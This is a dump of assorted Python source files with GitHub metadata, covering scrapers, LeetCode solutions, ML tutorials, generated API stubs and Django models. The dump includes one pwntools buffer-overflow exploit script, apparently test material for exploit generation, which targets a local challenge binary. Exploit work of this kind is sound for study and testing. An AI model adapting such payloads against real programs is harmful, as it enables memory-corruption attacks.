671a4259b297caaf1b440af131b996017d579c02 | 4c3467d15408362150528c98022016e3af48a481 | /day05/day05.py | 97d0ddbbe0a70fad197e58908870483548377405 | [] | no_license | Ha-Young/nomad_python_challenge | 7659fc1f5d08b9925156f48e5150bd6981593452 | d4b476ad27fcc039851f7c7acbc4d925d678d6b2 | refs/heads/master | 2022-12-12T10:59:38.154297 | 2020-09-06T14:16:52 | 2020-09-06T14:16:52 | 257,329,572 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,100 | py | import os
import requests
from bs4 import BeautifulSoup
os.system("clear")
url = "https://www.iban.com/currency-codes"
req = requests.get(url)
soup = BeautifulSoup(req.text, "html.parser")
table = soup.find('table', {'class': 'table'})
tbody = table.find('tbody')
trs = tbody.find_all('tr')
dict_country_code = {}
... | [
"hayeong28@naver.com"
] | hayeong28@naver.com |
fb05f1a8484b67ea8c719f094c1624f8289d9513 | d7db8cd9cf18d21a57c6bdb1a3ead018d81801a9 | /字节跳动/数组与排序/数组中第k个最大元素.py | d961475a12f37bea9f668fbae3335b8f3f7edfb3 | [] | no_license | Eleanoryuyuyu/LeetCode | a1e8c230162a3a850e6714ed7c2d4d946bc5f33b | 44b65f3ab6cc6ca3ef2a2fd7ef39d4df0cd7f7eb | refs/heads/master | 2021-06-01T15:25:44.812448 | 2020-08-06T07:32:44 | 2020-08-06T07:32:44 | 144,653,156 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,027 | py | from typing import List
class Solution:
def findKthLargest(self, nums: List[int], k: int) -> int:
def partition(left, right):
paviot = nums[left]
while left < right:
while left < right and nums[right] >= paviot:
right -= 1
nums[le... | [
"yangjieyu@zju.edu.cn"
] | yangjieyu@zju.edu.cn |
bad84b93239fac0a1e4e0d53a6650b8a3c99b62a | bdec175f02173938f99e546e772ce8b3730a3f48 | /lists/ex48.py | 83c5d0115be5792c374e8c614d5037b552d518fe | [] | no_license | hmunduri/MyPython | 99f637f6665a733903968047aa46b763d9557858 | af26f3a4ffb9b786d682114635b432480010ffc8 | refs/heads/master | 2020-03-09T13:13:59.873228 | 2018-04-20T22:33:30 | 2018-04-20T22:33:30 | 128,805,444 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 164 | py | #Python program print a nested lists using the print() function.
import sys
colors = [['Red'], ['Green'], ['Black']]
print(' '.join([str(lst) for lst in colors]))
| [
"root@himagiri0275.mylabserver.com"
] | root@himagiri0275.mylabserver.com |
f2c38ad89b093cb62129bdcd1e825b1f8d27054b | fc0a6e0f9ffa90a2473fec77bc52ea02e9b21f55 | /venv/lib/python3.7/site-packages/akshare/news/news_east_money.py | b585d6d945b5f41bbe2d071cbf638da2a4c7259b | [] | no_license | YixuanSeanZhou/COVID19_Scraping | 3903e697caf406c7d357afd8cc43811d62896244 | b84890c4a5ddef589cd76d1ed8fd4a1976f4e3c4 | refs/heads/master | 2022-09-08T16:14:33.292096 | 2020-05-23T04:26:02 | 2020-05-23T04:26:02 | 266,261,823 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py | # -*- coding:utf-8 -*-
# /usr/bin/env python
"""
Author: Albert King
date: 2019/12/12 15:08
contact: jindaxiang@163.com
desc:
"""
import newspaper
sina_paper = newspaper.build('http://futures.hexun.com/domestic/', language='zh')
for article in sina_paper.articles:
print(article)
sina_paper.size()
... | [
"thomaszhou2333@gmail.com"
] | thomaszhou2333@gmail.com |
d75c687734fdd3778c4f88537fea21cdca140a57 | 1ee910d6602123eb1328f56419b04e31b3761b6b | /lib/python3.5/site-packages/twilio/rest/sync/v1/__init__.py | c1aab31243a7200a57ff60b634bef12ef3b66f88 | [
"MIT"
] | permissive | mraza007/Pizza-or-Not-a-Pizza | 7fc89e0905c86fbd3c77a9cc834a4b6098912aeb | 6ad59d046adbd6be812c7403d9cb8ffbdbd6b0b8 | refs/heads/master | 2022-12-15T15:47:34.779838 | 2018-07-04T02:28:56 | 2018-07-04T02:28:56 | 127,992,302 | 30 | 4 | MIT | 2022-11-22T00:43:51 | 2018-04-04T01:56:26 | Python | UTF-8 | Python | false | false | 938 | py | # coding=utf-8
"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from twilio.base.version import Version
from twilio.rest.sync.v1.service import ServiceList
class V1(Version):
def __init__(self, domain):
"""
Initialize the V1 version of Sync
... | [
"muhammadraza0047@gmail.com"
] | muhammadraza0047@gmail.com |
b02dbf261aa073b6ee44836616403995bc7d2945 | 590a3dab75527bb8742165e84d7108d056826351 | /py_tutorials/py_tutorials/1_supervised/train_svm.py | 0d87c8c10e65447b4213b9ff822672393d37ac32 | [] | no_license | onkarganjewar/ipam-tutorials | 2cfa5055484531f2cc2fdd051ddf0ea771a08a37 | a8451dd121d0a4029bc26c27ee28b45dfc6e51c0 | refs/heads/master | 2021-01-13T12:48:50.944781 | 2016-10-30T02:57:09 | 2016-10-30T02:57:09 | 72,319,739 | 0 | 0 | null | 2016-10-30T02:05:48 | 2016-10-30T02:05:47 | null | UTF-8 | Python | false | false | 1,996 | py | import logging
import sys
import time
import numpy as np
from numpy import arange, dot, maximum, ones, tanh, zeros
from numpy.random import randn
from skdata import mnist
from autodiff import fmin_sgd, fmin_l_bfgs_b
from utils import show_filters
def main():
# -- top-level parameters of this script
dtype =... | [
"james.bergstra@gmail.com"
] | james.bergstra@gmail.com |
9039e65c812006506a37289b4b5417f47fc945cf | ecf62aae48e02420cd99008f58c4725c6da56d22 | /models/review.py | 094c86885b823cd171680a2c1fc29a9485940188 | [] | no_license | ThibautBernard/AirBnB_clone | e3110415acd98b56134928eee0d2befb6bd68a25 | d495dd85add4332880eacf00b338704c2799d3e5 | refs/heads/main | 2023-03-08T15:51:46.968249 | 2021-03-03T15:58:29 | 2021-03-03T15:58:29 | 337,568,140 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 261 | py | #!/usr/bin/python3
from models.base_model import BaseModel
"""
Class that represent a Review
"""
class Review(BaseModel):
place_id = ""
user_id = ""
text = ""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
| [
"thibautbernard@sfr.fr"
] | thibautbernard@sfr.fr |
db81a9b45a6e7f46cba1807fbdb51d5e43c86df0 | 65b4522c04c2be071c2d42095956fe950fe1cebe | /lib/viscojapan/plots/plot_L_curve.py | b89df84bae00664d50f081bdee6e2e51759c6520 | [] | no_license | geodesy/viscojapan | ac0cd93f7a2134cd2651623b94879dcc21c0c46a | 03e70265b56eb5994e73bcb6066f0be338e42f27 | refs/heads/master | 2021-03-03T18:19:07.779601 | 2015-07-16T03:50:49 | 2015-07-16T03:50:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,286 | py | import glob
import h5py
from pylab import loglog, xlabel, ylabel, grid, text
__all__=['plot_L_from_res_h5','plot_L']
def plot_L_from_res_h5(pathname, x_key, y_key, **kwargs):
flist = glob.glob(pathname)
flist = sorted(flist)
xs = []
ys = []
for f in flist:
with h5py.File(f,'r') as f... | [
"zy31415@gmail.com"
] | zy31415@gmail.com |
e263b3bbee16c780f42e47780248423245375d51 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_frolicking.py | ef11ef8bcd650fd92541f71619da24e6b40dcd57 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 244 | py |
from xai.brain.wordbase.nouns._frolic import _FROLIC
#calss header
class _FROLICKING(_FROLIC, ):
def __init__(self,):
_FROLIC.__init__(self)
self.name = "FROLICKING"
self.specie = 'nouns'
self.basic = "frolic"
self.jsondata = {}
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
838d7b35de18b5ea779615da2b03c44eab3be0f5 | 1cbcf8660d3ea833b0a9aa3d36fe07839bc5cfc5 | /apps/sources/reqparsers/enum.py | c1cbff7b7ef84aa38e0efda18fd5cdbe51f2f9ab | [] | no_license | zhanghe06/migration_project | f77776969907740494281ac6d7485f35d4765115 | 0264b292873b211bfeca0d645cc41abc9efe883f | refs/heads/master | 2022-12-12T10:55:43.475939 | 2019-09-29T09:19:13 | 2019-09-29T09:19:13 | 185,584,884 | 0 | 1 | null | 2022-12-08T05:04:58 | 2019-05-08T10:31:57 | Python | UTF-8 | Python | false | false | 306 | py | #!/usr/bin/env python
# encoding: utf-8
"""
@author: zhanghe
@software: PyCharm
@file: enum.py
@time: 2019-04-26 15:55
"""
from __future__ import unicode_literals
structure_key_item = 'enum'
structure_key_items = 'enums'
structure_key_item_cn = '枚举类型'
structure_key_items_cn = '枚举类型'
| [
"zhang_he06@163.com"
] | zhang_he06@163.com |
20429d1f27e52eeb5e975b6e89b687a9a43d7777 | 6fcfb638fa725b6d21083ec54e3609fc1b287d9e | /python/wookayin_tensorflow-talk-debugging/tensorflow-talk-debugging-master/codes/40-mnist-name.py | 76816d57890463ede3dc3542f2f265757740f1bb | [] | no_license | LiuFang816/SALSTM_py_data | 6db258e51858aeff14af38898fef715b46980ac1 | d494b3041069d377d6a7a9c296a14334f2fa5acc | refs/heads/master | 2022-12-25T06:39:52.222097 | 2019-12-12T08:49:07 | 2019-12-12T08:49:07 | 227,546,525 | 10 | 7 | null | 2022-12-19T02:53:01 | 2019-12-12T07:29:39 | Python | UTF-8 | Python | false | false | 1,989 | py | import tensorflow as tf
import tensorflow.contrib.layers as layers
from datetime import datetime
# MNIST input data
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("/tmp/data/", one_hot=True)
def multilayer_perceptron(x):
W_fc1 = tf.Variable(tf.random_normal([784, 256]... | [
"659338505@qq.com"
] | 659338505@qq.com |
e00f6197eedaeabfbe42d2c14ed4cc0528ae47e6 | 67e817ca139ca039bd9eee5b1b789e5510119e83 | /Tree/[508]Most Frequent Subtree Sum.py | d1d33c1d3ec9ef186d0feb9017ac84a00713155f | [] | no_license | dstch/my_leetcode | 0dc41e7a2526c2d85b6b9b6602ac53f7a6ba9273 | 48a8c77e81cd49a75278551048028c492ec62994 | refs/heads/master | 2021-07-25T21:30:41.705258 | 2021-06-06T08:58:29 | 2021-06-06T08:58:29 | 164,360,878 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,920 | py | #
# Given the root of a tree, you are asked to find the most frequent subtree sum.
# The subtree sum of a node is defined as the sum of all the node values formed b
# y the subtree rooted at that node (including the node itself). So what is the mo
# st frequent subtree sum value? If there is a tie, return all the valu... | [
"dstch@163.com"
] | dstch@163.com |
7d7cf6f0f0807e1d13c773d7fd9c579e4981bccd | 3bfaf1de118ecb3863b89737a935c32d7bcf9d28 | /Leetcode/range-sum-query-immutable/source.py | d0628d3d2202ca61a51883566eace81843919629 | [] | no_license | ndjman7/Algorithm | 13db942c6228c2d55e5c0cdf997db834cf617988 | a4bd428e51a2dcebc81214564ac3fd967175f7ae | refs/heads/master | 2021-06-21T12:41:42.006005 | 2020-12-25T07:47:52 | 2020-12-26T12:43:15 | 163,792,061 | 2 | 0 | null | 2019-09-03T04:35:15 | 2019-01-02T03:57:05 | C++ | UTF-8 | Python | false | false | 537 | py | class NumArray(object):
def __init__(self, nums):
"""
:type nums: List[int]
"""
self.cache = [0 for i in range(len(nums)+1)]
for i in range(len(nums)):
self.cache[i + 1] = self.cache[i] + nums[i]
def sumRange(self, i, j):
"""
:type i: int
... | [
"ndjman7@gmail.com"
] | ndjman7@gmail.com |
6e7b2f202fd14008d5f076ad4fbac305307205ba | 2d358ffb51f03cc64cc2da0f684b0928aebe139c | /test7/myapp/models.py | 833b515eca90cae41e62460be8e577d84dc608ad | [] | no_license | 853695319/learningdjango | 195ffabdbd3a5b6bc4386cbb678504c0d2cd0095 | d2aac1117bb2ca31e4f247a9d206adcf3a9f39a2 | refs/heads/master | 2020-05-03T04:59:16.094900 | 2019-04-23T06:25:02 | 2019-04-23T06:25:02 | 178,437,059 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 304 | py | from django.db import models
from django.contrib.auth.models import User
class Note(models.Model):
user = models.ForeignKey(User)
pub_date = models.DateTimeField()
title = models.CharField(max_length=200)
body = models.TextField()
def __unicode__(self):
return self.title
| [
"853695319@qq.com"
] | 853695319@qq.com |
50e2de4f73782ca8217362cece9dcdc7a601d9ce | e1891d21594e17431abfcbbc36f3b479cc3eb5d3 | /blog/models.py | 6bd8baaea251d83aa5a832c354cda7a972d1e99d | [] | no_license | Ankrate/venezoproject | 01978d72332cf642637333715f695f6c6d04d7a7 | a26ccd270573420d29ba39fd37f2b9f572d010c3 | refs/heads/master | 2020-07-07T11:15:36.953266 | 2019-08-26T12:40:05 | 2019-08-26T12:40:05 | 202,558,469 | 0 | 0 | null | 2019-08-15T14:42:57 | 2019-08-15T14:42:57 | null | UTF-8 | Python | false | false | 1,780 | py | from django.db import models
import os, random
from django.db.models.signals import pre_save
from .utils import unique_slug_generator
def get_filename_ext(filepath):
base_name = os.path.basename(filepath)
name, ext = os.path.splitext(base_name)
return name, ext
def upload_image_path(instance, filename):
... | [
"angara99@gmail.com"
] | angara99@gmail.com |
4fa9358de28f9b8aa414f45aa1e563eb13718b7a | 8e24e8bba2dd476f9fe612226d24891ef81429b7 | /geeksforgeeks/python/python_all/124_1.py | 1860506797a3534ef6306aab0ebc6ad7919b518a | [] | no_license | qmnguyenw/python_py4e | fb56c6dc91c49149031a11ca52c9037dc80d5dcf | 84f37412bd43a3b357a17df9ff8811eba16bba6e | refs/heads/master | 2023-06-01T07:58:13.996965 | 2021-06-15T08:39:26 | 2021-06-15T08:39:26 | 349,059,725 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,000 | py | Python | Intersection in Tuple Records Data
Sometimes, while working with data, we may have a problem in which we require
to find the matching records between two lists that we receive. This is a very
common problem and records usually occur as a tuple. Let’s discuss certain
ways in which this problem can be ... | [
"qmnguyenw@gmail.com"
] | qmnguyenw@gmail.com |
a767ea85226a3a33df945842b2bedd5921f415aa | a537ac145d19a1a6cfb1ee3556144292df4ebe29 | /django_libs/tests/test_app/models.py | 0859a44e00cd78b6ad4899f9cf438e081b81b6e3 | [
"MIT"
] | permissive | papasax/django-libs | 80e0d122ec2c41ebbafddb11ffc69bd2794efeec | 734c7b3506d8aab78f91dae10eda4c150be18240 | refs/heads/master | 2021-01-09T09:01:01.400301 | 2014-12-04T21:12:09 | 2014-12-04T21:12:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,008 | py | """Models for the ``test_app`` app."""
from django.db import models
from django.utils.translation import ugettext_lazy as _
from simple_translation.translation_pool import translation_pool
from ...models_mixins import (
SimpleTranslationMixin,
SimpleTranslationPublishedManager,
)
class DummyProfile(SimpleTr... | [
"daniel.kaufhold@bitmazk.com"
] | daniel.kaufhold@bitmazk.com |
95495b389e7e95436f048fe3e1e335059fb2bd5d | 748c4ba7058336eb2d09b413066d21582e26d71b | /course_catalog/migrations/0041_rename_course_run.py | 64d107c8459b49ba3d72ecb2957b228b3bd05eb5 | [
"BSD-3-Clause"
] | permissive | mitodl/open-discussions | 6dbb8ae2843263889634849ddd9096f74536b78e | ba7442482da97d463302658c0aac989567ee1241 | refs/heads/master | 2023-08-10T02:54:45.706067 | 2023-08-01T17:05:36 | 2023-08-01T17:05:36 | 93,760,926 | 13 | 3 | BSD-3-Clause | 2023-08-01T17:05:40 | 2017-06-08T14:46:35 | Python | UTF-8 | Python | false | false | 380 | py | # Generated by Django 2.1.11 on 2019-10-02 17:17
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("contenttypes", "0002_remove_content_type_name"),
("course_catalog", "0040_add_program_published"),
]
operations = [
migrations.RenameModel(... | [
"noreply@github.com"
] | mitodl.noreply@github.com |
4c6ed8f33aa431abae76a14dd95bb5c435bb4a2f | 39385e706c34202539ee8ee1089ebc4faa7e15c5 | /inference_server/inference_server_pb2_grpc.py | 9325a8429cd3ccb4e86f0e55f8a3001b70159127 | [] | no_license | paulhendricks/inference-server | f7845d8aeab13f95dd1ce069c6740fc80af6ca87 | bdf6ccc0e2559b2fef8ed8a02cb0b6cfbbfaba63 | refs/heads/master | 2020-03-17T22:22:12.580704 | 2018-05-18T20:54:00 | 2018-05-18T20:54:00 | 134,000,981 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,413 | py | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
import inference_server_pb2 as inference__server__pb2
class InferenceStub(object):
# missing associated documentation comment in .proto file
pass
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.... | [
"paul.hendricks.2013@owu.edu"
] | paul.hendricks.2013@owu.edu |
d25ee342daa07ce418636d6017598ceccbc395a2 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03086/s109673720.py | 9c53994051ea917600e7062df13c6995566eab3f | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 297 | py | s=input()
n=len(s)
res=0
for i in range(n):
if s[i]=='A' or s[i]=='C' or s[i]=='G' or s[i]=='T':
ans=1
j=i+1
while j<n:
if s[j]=='A' or s[j]=='C' or s[j]=='G' or s[j]=='T':
ans+=1
j+=1
else:
break
else:
continue
res=max(res,ans)
print(res) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
57447872fefc81ffb2c0125733fb53f138cc9502 | d4e9fd6dd51d29ad374b460a2cfbd467502ede7d | /ros2param/ros2param/command/param.py | 1aa9026af3542f670f8f3224a40aaf22089810ad | [
"Apache-2.0"
] | permissive | ros2/ros2cli | 3f7b93ff44d18b2292a50d3b6ff119494142328b | 351ef3c7442f49013d84084dea23fe399517690f | refs/heads/rolling | 2023-08-07T03:53:23.635067 | 2023-08-03T19:50:28 | 2023-08-03T19:50:28 | 93,568,427 | 142 | 157 | Apache-2.0 | 2023-09-14T07:36:46 | 2017-06-06T22:13:14 | Python | UTF-8 | Python | false | false | 1,366 | py | # Copyright 2018 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | [
"noreply@github.com"
] | ros2.noreply@github.com |
ff786bb5396ad92d10ed243592117497f6cf1e1c | c071eb46184635818e8349ce9c2a78d6c6e460fc | /system/python_stubs/-745935208/_signal.py | 46398c329673fba8df3fa9b203f853e8f6dd22a6 | [] | no_license | sidbmw/PyCharm-Settings | a71bc594c83829a1522e215155686381b8ac5c6e | 083f9fe945ee5358346e5d86b17130d521d1b954 | refs/heads/master | 2020-04-05T14:24:03.216082 | 2018-12-28T02:29:29 | 2018-12-28T02:29:29 | 156,927,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,547 | py | # encoding: utf-8
# module _signal
# from (built-in)
# by generator 1.146
"""
This module provides mechanisms to use signal handlers in Python.
Functions:
alarm() -- cause SIGALRM after a specified time [Unix only]
setitimer() -- cause a signal (described below) after a specified
float time and the tim... | [
"siddharthnatamai@gmail.com"
] | siddharthnatamai@gmail.com |
37a1db073986ca0971ba4944632aafaec7a0d5ff | f57529f95a0fd10676f46063fdcd273fb5a81427 | /boj/05001-06000/5063.py | 6a2433d4269d1553b50fb5ef00f2d4236113033c | [] | no_license | hoyasmh/PS | a9b83b0044e483586590c9b7c6bf8a77236b67e7 | 6bbaa0ce77b2726f6af782af049d73720820f761 | refs/heads/master | 2023-04-23T10:43:27.349785 | 2021-05-17T13:43:53 | 2021-05-17T13:43:53 | 311,239,034 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | n=int(input())
for i in range(n):
r,e,c=map(int, input().split())
a=e-c
if a>r:
print('advertise')
elif a==r:
print('does not matter')
else:
print('do not advertise')
| [
"hoyasmh@gmail.com"
] | hoyasmh@gmail.com |
600a02249547f25a443efccb2f227a4daf743e72 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03626/s691421903.py | 12b73d2e8e8b33454998cc794473feec516fdf85 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 933 | py | # https://atcoder.jp/contests/abc071/tasks/arc081_b
# 横ドミノと縦ドミノの場合わけを考える
# 横ドミノ→横ドミノの場合 : いままでの通り*3通り
# 横ドミノ→縦ドミノ : いままで*1通り ok
# 縦ドミノ→横ドミノ : いままで*2通り ok
# 縦ドミノ→縦ドミノ : いままで*2通り ok
MOD = 10**9+7
N = int(input())
S1 = input()
S2 = input()
pre1 = S1[0]
pre2 = S2[0]
if pre1 != pre2:
ans = 6
else:
ans = 3
for s1, ... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
511cd08228a358eb20555f4016aa0f102b17db57 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_2/HazelParr/pancake_revenge.py | 0d9c90b6f19e36f7eff6120670502de3018d5d1b | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 381 | py | T = int(input())
for case in range(T):
x = input()
count = 0
while "-" in x:
new_string = ""
unchanged = ""
y = x.rfind("-")
fragment = x[:y+1]
unchanged = x[y+1:]
for i in fragment:
if i == "-":
new_string += "+"
else:
new_string += "-"
count += 1
x = new_string + un... | [
"[dhuo@tcd.ie]"
] | [dhuo@tcd.ie] |
8cbdf7ab2ec66f8f1e82cb4824f60c32e935e855 | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /120_design_patterns/001_SOLID_design_principles/_exercises/_exercises/isp/ISP/Book/IBook.py | 01dad5411393ea75f180ee3e25c50e409867ecae | [] | no_license | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 220 | py | # ___ ISP.IL.. ______ IL..
#
#
# c_ IBookIL..
#
# ?p..
# ___ pages -> ?
# r_ N...
#
# ??.?
# ___ pages num_pages ?
# r_ N...
#
# ?p..
# ___ title __ ?
# r_ N...
#
# ??.?
# ___ title titleName ?
# r_ N...
| [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
f6b1a79848c4fc34a82d807b82b44e98bececaf5 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2320/60716/267286.py | b7837b56224bdc4c298a9aada04e063f0c2c204d | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | strs = input()
k = int(input())
if k==1:
lists = list()
lists.append(strs)
for i in range(len(strs)):
strlist = list(strs)
k = strlist.pop(0)
strlist.append(k)
strs = ''.join(strlist)
lists.append(strs)
lists.sort()
print(lists[0])
else:
strlist = list(str... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
391f37b3390c8466064f8f93b5a3f7eba2852de0 | cdd79cef15bdf6a0b9098e27028bbe38607bc288 | /AOJ/Vol02/0241_Quaternion Multiplication.py | a94a35629d177665c61f8dcc76a162305205fbfc | [] | no_license | nord2sudjp/atcoder | ee35a3eb35717485dc62627172de24c9dac102fb | 6b1cc5102a615492cc7ff8a33813bbb954641782 | refs/heads/master | 2023-08-25T11:27:14.205593 | 2021-09-27T05:43:04 | 2021-09-27T05:43:04 | 302,855,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 562 | py | # Volume2-0241 Quaternion Multiplication
#l1=[1,2,3,4]
#l2=[7,6,7,8]
while True:
N=int(input())
if N==0:break
for _ in range(N):
*t,=list(map(int,input().split()))
l1=t[0:4]
l2=t[4:]
s=[x*y for x in l1 for y in l2]
ans=[0]*4 #1,i,j,k
ans[0]+=s[0]
... | [
"nord2sudjp@gmail.com"
] | nord2sudjp@gmail.com |
e6c627876e58af236e4193f1e7495a258b610ed7 | 2f38331b8a0bc8867859d853d352f9f5cc9cd1b5 | /day07/code/value.py | ae8c35d75226626552aef586887bad597c2a649a | [] | no_license | Chenhuaqi6/python_net | aaf66a15a2f438e1f3fc67f338abd15e2bbfd6a3 | 56efd53bbaa1212a86c65e9cd3b29d2f5f30b752 | refs/heads/master | 2020-04-09T08:30:20.817513 | 2019-01-19T06:51:41 | 2019-01-19T06:51:41 | 160,196,516 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 523 | py | from multiprocessing import Process,Value
import time
import random
#创建共享内存
money = Value("i",5000)
#挣钱
def boy():
for i in range(30):
time.sleep(0.2)
money.value += random.randint(1,1500)
def girl():
for i in range(30):
time.sleep(0.15)
money.value -= random.randint(100,1200)... | [
"466940759@qq.com"
] | 466940759@qq.com |
4621879f40c0fc877a782f9a6e4748cf4c1db4cc | 077a17b286bdd6c427c325f196eb6e16b30c257e | /00_BofVar-unit-tests/05_32/remenissions-work/exploit-BofFunc-28.py | a140ada92f16b731fc6c68505ca91b55c8fc744a | [] | no_license | KurSh/remenissions_test | 626daf6e923459b44b82521aa4cb944aad0dbced | 9dec8085b62a446f7562adfeccf70f8bfcdbb738 | refs/heads/master | 2023-07-08T20:25:04.823318 | 2020-10-05T06:45:16 | 2020-10-05T06:45:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 920 | py | from pwn import *
import time
import sys
import signal
import sf
target = process("./chall-test_BofVar-05-x86")
gdb.attach(target, execute="verify_exploit")
bof_payload = sf.BufferOverflow(arch=32)
bof_payload.set_input_start(0x66)
bof_payload.add_int32(0x34, 0xdeab)
bof_payload.add_int32(0x30, 0xbeef)
bof_payload.a... | [
"ryancmeinke@gmail.com"
] | ryancmeinke@gmail.com |
4ce830497d5d62e49c120012bdfb1463222c1714 | 0b406d2c041c76d9ef8789539e0e3af9a50e3613 | /Extract_refactor/Ocr/lib/BusinessImagen.py | 1efc3e6dc179167f58ae293994b0d864ef57c812 | [] | no_license | aise17/ExtractPdf | 221b47c5f0e75a823284b4f52981917962042592 | 7e1bfbc759cb7473d727574e5df78eaaac9fa8a4 | refs/heads/master | 2022-02-26T06:39:14.265795 | 2019-06-04T15:01:39 | 2019-06-04T15:01:39 | 184,154,301 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,186 | py | import glob
# de aki cojeremos la calse Image de PIL que es necesaria para pasarsela a tresseract
from PIL import Image
# con treseract extaeremos eltexto de la imagen png pasada por escala de grises
import pytesseract
# se usea OpenCv para aplicar escala de grises sobre imagen
import cv2
# usamos sistema para crear un... | [
"sergio.martinez-g@hotmail.com"
] | sergio.martinez-g@hotmail.com |
bbefdb7f7b0c7af6bc87b4dd1079b37651970d18 | 8fc653ed827dc185cc92196826c94e01c0a532c4 | /setup.py | 90e957663dd75dd44cbb3931a9637eb2385ae74f | [
"MIT"
] | permissive | Deepakdubey90/prometheus_flask_exporter | 825dd1d1b8f4d81c7c78d9b9d2107b17f673748d | ae613e94573a28c72ef19dcd1372cc52fa07b5a7 | refs/heads/master | 2020-04-08T19:36:43.364482 | 2018-11-13T11:21:35 | 2018-11-13T11:21:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,361 | py | from setuptools import setup
with open('README.md') as readme:
long_description = readme.read()
setup(
name='prometheus_flask_exporter',
packages=['prometheus_flask_exporter'],
version='0.4.0',
description='Prometheus metrics exporter for Flask',
long_description=long_description,
long_des... | [
"rycus86@gmail.com"
] | rycus86@gmail.com |
e26e6b3fb181566bc0a2c8b7ecbf18f53dc42fef | e27333261b8e579564016c71d2061cc33972a8b8 | /development_codes/Backend/.history/BERTimplementation_20210810215300.py | e2cbc16e68d4af0fc027546c697ad4f250821dcd | [] | no_license | Dustyik/NewsTweet_InformationRetrieval | 882e63dd20bc9101cbf48afa6c3302febf1989b1 | d9a6d92b51c288f5bcd21ea1cc54772910fa58f7 | refs/heads/master | 2023-07-01T09:12:53.215563 | 2021-08-12T08:28:33 | 2021-08-12T08:28:33 | 382,780,359 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,561 | py | from sentence_transformers import SentenceTransformer
from sklearn.metrics.pairwise import cosine_similarity
import numpy as np
from tfidfImplementation import *
from utils import QueryParsers
#First segment involves retrieving K documents with tf-idf
#Second segment involves reranking them with a BERT encoder
K = 10... | [
